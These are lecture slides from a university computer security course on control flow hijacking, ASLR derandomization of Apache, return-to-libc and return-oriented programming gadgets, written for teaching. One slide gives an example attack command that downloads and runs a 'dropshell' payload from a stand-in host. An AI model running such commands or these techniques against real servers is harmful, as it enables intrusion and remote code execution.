CSE 127: Computer Security
Control Flow Hijacking
Kirill Levchenko

October 17, 2017
Control Flow Hijacking Defenses

- Avoid unsafe functions
- Stack canary
- Separate control stack
- Address Space Layout Randomization (ASLR)
- Memory writable or executable, not both ($W^X$)
- Control flow integrity (CFI)
ASLR
Address Space Layout Randomization

- Change location of stack, heap, code, static variables
- Works because attacker needs address of shellcode
- Layout must be unknown to attacker
  - Randomize on every launch (best)
  - Randomize at compile time
- Implemented on most modern OSes in some form
Derandomizing ALSR

On the Effectiveness of Address-Space Randomization

Hovav Shacham  
Stanford University  
hovav@cs.stanford.edu

Matthew Page  
Stanford University  
mpage@stanford.edu

Ben Pfaff  
Stanford University  
blp@cs.stanford.edu

Eu-Jin Goh  
Stanford University  
eujin@cs.stanford.edu

Nagendra Modadugu  
Stanford University  
nagendra@cs.stanford.edu

Dan Boneh  
Stanford University  
dabo@cs.stanford.edu
Derandomizing ALSR

- **Attack goal:** call `system()` with attacker argument:
  \[
  \text{wget} \ \text{http://www.example.com/dropshell} \ ; \\
  \text{chmod} +x \text{dropshell} \ ; \ ./\text{dropshell}
  \]

- **Target:** Apache daemon
  - Forks child processes to handle client interaction
  - **Vulnerability:** buffer overflow in `ap_getline()`

- **Defense assumption:** PaX ASLR enabled

- **Defense assumption:** $W^{⊕}X$ enabled
Planning the Attack

❖ How do we inject shellcode?
  • Cannot use normal shell code because of $W \oplus X$
  • Call `system()` located in libc!

❖ Where is libc?
  • Inside mapped region (it's a shared object)
Derandomizing ASLR

- **Attack Stage 1**: Find base of mapped region
- **Attack Stage 2**: Call system with command string

### Mapped area:

<table>
<thead>
<tr>
<th>fixed</th>
<th>random</th>
<th>zero</th>
</tr>
</thead>
<tbody>
<tr>
<td>0100</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
<tr>
<td>RR</td>
<td>RR</td>
<td>0000</td>
</tr>
</tbody>
</table>

(16 bits)
**Attack Stage 1**

- Overflow buffer in `ap_getline()`
- Overwrite saved EIP with guessed location of `usleep()` in libc
  - Base + offset of `usleep()` in mapped region
- Provide non-zero byte argument to `usleep()`

<table>
<thead>
<tr>
<th>ap_getline() args</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
</tr>
<tr>
<td>saved EIP</td>
</tr>
<tr>
<td>saved EBP</td>
</tr>
<tr>
<td>buffer to overflow</td>
</tr>
</tbody>
</table>
Attack Stage 1

- Overflow buffer in `ap_getline()`
- Overwrite saved EIP with guessed location of `usleep()` in `libc`
  - Base + offset of `usleep()` in mapped region
- Provide non-zero byte argument to `usleep()`
Attack Stage 1

EIP ➤ pop ebp
ret

Inside usleep():
...
ret

ESP ➤

---

... 0x01010101
0xDEADBEEF
addr of usleep() 0xDEADBEEF
buffer to overflow
Attack Stage 1

 Inside `usleep()`:

```
pop ebp
ret
```

```
ret
```

_addr of `usleep()` = _0xDEADBEEF_

_buffer to overflow_

_segmentation fault_
## Attack Stage 1

```
pop ebp
ret

Inside usleep():
...
ret
```

![Diagram showing EIP and ESP registers](image)

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
<td></td>
</tr>
<tr>
<td>0x01010101</td>
<td></td>
</tr>
<tr>
<td>0xDEADBEEF</td>
<td>addr of usleep()</td>
</tr>
<tr>
<td>0xDEADBEEF</td>
<td></td>
</tr>
<tr>
<td></td>
<td>buffer to overflow</td>
</tr>
</tbody>
</table>
Attack Stage 1

**pop ebp**

**ret**

**Inside usleep():**

...  

ret

---

EIP ➤ argument to `usleep()`

address to return to from `usleep()`

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
<td></td>
</tr>
<tr>
<td>0x01010101</td>
<td></td>
</tr>
<tr>
<td>0xDEADBEEF</td>
<td></td>
</tr>
<tr>
<td>addr of <code>usleep()</code></td>
<td></td>
</tr>
<tr>
<td>0xDEADBEEF</td>
<td></td>
</tr>
<tr>
<td>buffer to overflow</td>
<td></td>
</tr>
</tbody>
</table>
Attack Stage 1

Inside `usleep()`:

```
pop ebp
ret
```

Address to return to from `usleep()`:

```
... 0x01010101 0xDEADBEEF
```

Buffer to overflow:

```
addr of `usleep()`
0xDEADBEEF
buffer to overflow
```
Attack Stage 1

**SEGFAULT!**

```
pop ebp
ret

Inside usleep():
...
```

EIP ➤ ret

ESP ➤

<table>
<thead>
<tr>
<th>...</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01010101</td>
</tr>
<tr>
<td>0xDEADBEEF</td>
</tr>
<tr>
<td>addr of usleep()</td>
</tr>
<tr>
<td>0xDEADBEEF</td>
</tr>
<tr>
<td>buffer to overflow</td>
</tr>
</tbody>
</table>
Attack Stage 1

- If we guessed `usleep()` address right:  
  Server will freeze for 16 seconds, then crash

- If we guessed `usleep()` address wrong: 
  Server will (likely) crash immediately

- Use this to tell if we guessed base of mapped region correctly
Attack Stage 2

- Overflow buffer in `ap_getline()` again
- Overwrite saved EIP with address of (any) ret instruction in libc
- Repeat until address of attack command string on the stack
- Append address of `system()`

```
ap_getline() args
  saved EIP
  saved EBP
  buffer to overflow
```
Attack Stage 2

- Overflow buffer in `ap_getline()` again
- Overwrite saved EIP with address of (any) `ret` instruction in libc
- Repeat until address of attack command string on the stack
- Append address of `system()`

```
<table>
<thead>
<tr>
<th>ptr to attack string</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xDEADBEEF</td>
</tr>
<tr>
<td>addr of <code>system()</code></td>
</tr>
<tr>
<td>addr of <code>ret</code></td>
</tr>
<tr>
<td>...</td>
</tr>
<tr>
<td>addr of <code>ret</code></td>
</tr>
<tr>
<td>0xDEADBEEF</td>
</tr>
<tr>
<td>attack string:</td>
</tr>
<tr>
<td>wget http://...</td>
</tr>
</tbody>
</table>
```
Derandomizing ASLR

What is the success probability?
• $1/2^{16}$ — 65,536 tries maximum

Do we need to de-randomize stack base?
• No, attacker does not know stack addresses

Attack works even with PaX ASLR and DEP ($W \times X$)
Dealing with DEP

- If stack not executable, can’t execute shellcode on stack
- **Solution:** use existing program code! `return-to-libc`
- Need known executable – usually not a problem
- Search executable for code that does what you want
  - E.g. if executable calls `exec("/bin/sh")`, jump there
- What if there is no code that does what we want?
Return-Oriented Programming

The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)

Hovav Shacham*

hovav@cs.ucsd.edu
Return-Oriented Programming

- **Idea:** make shellcode out of existing application code
- **Gadgets:** code sequences ending in `ret` instruction
  - May be part intended by compiler (at end of function)
  - Or any sequence in executable memory ending in `0xC3`
- Overwrite saved EIP on stack to pointer to first gadget, then second gadget, *etc.*
compy% otool -t /bin/ls

/bin/ls:
(__TEXT,__text) section
0000000100001478 6a 00 48 89 e5 48 83 e4 f0 48 8b 7d 08 48 8d 75
0000000100001488 10 89 fa 83 c2 01 c1 e2 03 48 01 f2 48 89 d1 eb
0000000100001498 04 48 83 c1 08 48 83 39 00 75 f6 48 83 c1 08 e8
00000001000014a8 58 0f 00 00 89 c7 e8 1b 39 00 00 f4 55 48 89 e5
00000001000014b8 48 8d 47 68 48 8d 7e 68 48 89 c6 c9 e9 01 3a 00
00000001000014c8 00 55 48 89 e5 48 83 c6 68 48 83 c7 68 c9 e9 ef
00000001000014d8 39 00 00 55 48 89 e5 53 48 89 f1 48 8b 56 60 48
00000001000014e8 8b 47 60 48 8b 58 30 48 39 5a 30 7f 1d 7c 22 48
00000001000014f8 8b 58 38 48 39 5a 38 7f 11 7c 16 48 8d 77 68 48
0000000100001508 8d 79 68 5b c9 e9 b8 39 00 00 b8 ff ff ff ff eb
0000000100001518 05 b8 01 00 00 00 5b c9 c3 55 48 89 e5 48 8b 56
0000000100001528 60 48 8b 47 60 48 8b 48 50 48 39 4a 50 7f 1c 7c
0000000100001538 21 48 8b 48 48 48 39 4a 7f 10 7c 15 48 83 c6
0000000100001548 68 48 83 c7 68 c9 e9 77 39 00 00 b8 01 00 00 00
0000000100001558 eb 05 b8 ff ff ff ff c9 c3 55 48 89 e5 53 48 8b
0000000100001568 56 60 48 8b 47 60 60 01 00 00 00 48 8b 58 60 48
0000000100001578 39 5a 60 7f 18 7d 07 b9 ff ff ff ff eb 0f 48 83
0000000100001588 c6 68 48 83 c7 68 5b c9 e9 35 39 00 00 89 c8 5b
0000000100001598 c9 c3 55 48 89 e5 48 8b 56 60 48 8b 47 60 48 8b
00000001000015a8 48 40 48 39 4a 40 7f 1c 7c 21 48 8b 48 48 48 39
00000001000015b8 4a 48 7f 10 7c 15 48 83 c6 68 48 83 c7 68 c9 e9
00000001000015c8 fe 38 00 00 b8 01 00 00 00 eb 05 b8 ff ff ff ff
Some Gadgets

- b8 01 00 00 00 5b c9 c3
  - mov eax,0x1 → pop ebx → leave → ret
  - leave is equivalent to: mov esp, ebp → pop ebp

- 00 00 5b c9 c3
  - add BYTE PTR [eax],al → pop ebx → leave → ret

- 00 5b c9 c3
  - add BYTE PTR [eax-0x37],bl → ret
Constant Store Gadget

Mem[v2] = v1

Desired Logic

Stack

Suppose a_5 and a_3 on stack

<table>
<thead>
<tr>
<th>eax</th>
<th>v_1</th>
</tr>
</thead>
<tbody>
<tr>
<td>ebx</td>
<td></td>
</tr>
<tr>
<td>eip</td>
<td>a_1</td>
</tr>
</tbody>
</table>

a_1: pop eax;
a_2: ret
a_3: pop ebx;
a_4: ret
a_5: mov [ebx], eax

Implementation 2
Constant Store Gadget

Mem[v2] = v1

Desired Logic

<table>
<thead>
<tr>
<th>eax</th>
<th>v1</th>
</tr>
</thead>
<tbody>
<tr>
<td>ebx</td>
<td></td>
</tr>
<tr>
<td>eip</td>
<td>a3</td>
</tr>
</tbody>
</table>

Stack

- a5: mov [ebx], eax
- a4: ret
- a3: pop ebx;
- a2: ret
- a1: pop eax;

Implementation 2
Constant Store Gadget

Desired Logic

Mem[v2] = v1

Stack

<table>
<thead>
<tr>
<th></th>
<th>a5</th>
<th>v2</th>
<th>a3</th>
<th>v1</th>
</tr>
</thead>
<tbody>
<tr>
<td>esp</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Implementation 2

<table>
<thead>
<tr>
<th>eax</th>
<th>v1</th>
</tr>
</thead>
<tbody>
<tr>
<td>ebx</td>
<td>v2</td>
</tr>
<tr>
<td>eip</td>
<td>a3</td>
</tr>
</tbody>
</table>

a1: pop eax;
a2: ret
a3: pop ebx;
a4: ret
a5: mov [ebx], eax
Constant Store Gadget

**Desired Logic**

\[
\text{Mem}[v2] = v1
\]

**Implementation 2**

<table>
<thead>
<tr>
<th>eax</th>
<th>v1</th>
</tr>
</thead>
<tbody>
<tr>
<td>ebx</td>
<td>v2</td>
</tr>
<tr>
<td>eip</td>
<td>a5</td>
</tr>
</tbody>
</table>

Stack

- \(a_1\): pop eax;
- \(a_2\): ret
- \(a_3\): pop ebx;
- \(a_4\): ret
- \(a_5\): mov [ebx], eax
Constant Store Gadget

**Mem[v2] = v1**

**Desired Logic**

- **Stack**
  - esp
  - a<sub>5</sub>
  - v<sub>2</sub>
  - a<sub>3</sub>
  - v<sub>1</sub>

<table>
<thead>
<tr>
<th>eax</th>
<th>v&lt;sub&gt;1&lt;/sub&gt;</th>
</tr>
</thead>
<tbody>
<tr>
<td>ebx</td>
<td>v&lt;sub&gt;2&lt;/sub&gt;</td>
</tr>
<tr>
<td>eip</td>
<td>a&lt;sub&gt;5&lt;/sub&gt;</td>
</tr>
</tbody>
</table>

- a<sub>1</sub>: pop eax;
- a<sub>2</sub>: ret
- a<sub>3</sub>: pop ebx;
- a<sub>4</sub>: ret
- a<sub>5</sub>: mov [ebx], eax

**Implementation 2**
# Comparison

<table>
<thead>
<tr>
<th>Instruction pointer</th>
<th>Normal programming</th>
<th>ROP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Instruction pointer</td>
<td>eip</td>
<td>esp</td>
</tr>
<tr>
<td>No-op</td>
<td>nop</td>
<td>ret</td>
</tr>
<tr>
<td>Unconditional jump</td>
<td>jmp address</td>
<td>set esp to address of gadget</td>
</tr>
<tr>
<td>Conditional jump</td>
<td>jnz address</td>
<td>set esp to address of gadget if some condition is met</td>
</tr>
<tr>
<td>Variables</td>
<td>memory and registers</td>
<td>mostly memory</td>
</tr>
<tr>
<td>Inter-instruction (inter-gadget) register and memory interaction</td>
<td>minimal, mostly explicit; e.g., adding two registers only affects the destination register</td>
<td>can be complex; e.g., adding two registers may involve modifying many registers which impacts other gadgets</td>
</tr>
</tbody>
</table>
Employees must wash hands before returning to libc